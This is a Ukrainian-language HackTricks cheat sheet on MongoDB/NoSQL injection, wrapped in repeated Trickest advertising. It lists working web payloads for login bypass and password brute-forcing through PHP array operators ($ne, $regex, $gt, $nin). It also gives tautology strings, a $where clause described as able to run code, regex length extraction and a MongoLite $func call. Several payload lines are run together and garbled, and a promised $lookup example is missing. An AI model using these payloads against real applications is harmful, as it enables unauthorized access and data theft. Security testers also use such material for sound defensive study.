Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на основі найбільш продвинутих інструментів у спільноті.
Отримайте доступ сьогодні:
Поділіться своїми хакерськими трюками, надсилайте PR доHackTricks та HackTricks Cloud репозиторіїв GitHub.
Експлойт
У PHP ви можете відправити масив, змінивши відправлений параметр з parameter=foo на parameter[arrName]=foo.
Експлойти базуються на додаванні Оператора:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Атакувальник може використати це, введучи рядки, наприклад, admin' || 'a'=='a, щоб запит повернув усі документи, задовольняючи умову тавтології ('a'=='a'). Це аналогічно атакам ін'єкції SQL, де використовуються введення, наприклад, ' or 1=1-- -, для маніпулювання SQL-запитами. У MongoDB подібні ін'єкції можна виконати, використовуючи введення, наприклад, ' || 1==1//, ' || 1==1%00, або admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Витягнення інформації про довжину
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
За допомогою оператора $func бібліотеки MongoLite (який використовується за замовчуванням), можливо виконати довільну функцію, як у цьому звіті.
"user":{"$func":"var_dump"}
Отримання інформації з різних колекцій
Можна використовувати $lookup для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з іншої колекції, яка називається users, і отримуємо результати всіх записів з паролем, що відповідає шаблону.
ПРИМІТКА:$lookup та інші функції агрегації доступні лише в разі використання функції aggregate() для виконання пошуку замість більш поширених функцій find() або findOne().
Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:
Поділіться своїми хакерськими трюками, надсилайте PR доHackTricks та HackTricks Cloud github репозиторіїв.
Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні: